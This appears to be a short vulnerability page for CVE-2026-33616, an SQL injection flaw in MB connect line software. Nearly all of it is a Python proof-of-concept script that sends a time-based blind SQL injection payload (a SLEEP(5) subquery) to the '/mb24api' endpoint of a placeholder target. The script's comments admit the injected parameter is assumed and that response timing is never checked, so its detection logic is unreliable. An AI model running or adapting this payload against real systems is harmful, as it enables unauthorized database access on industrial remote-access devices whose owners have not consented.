CVE-2026-33616 MB connect line SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2026-33616 Blind SQL Injection This script sends a time-based payload to check for vulnerability. """ # Vulnerable endpoint mentioned in description endpoint = f"{target_url}/mb24api" # Time-based payload: If true, database will sleep for 5 seconds # Assuming a parameter 'id' exists, adjust based on actual request parameters payload = { "id": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) # Analysis of response time would happen here in a full exploit # If response time > 5 seconds, vulnerability is confirmed print("[+] Request sent. Check if response time indicates delay (Blind SQLi).") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target verify_sqli(target)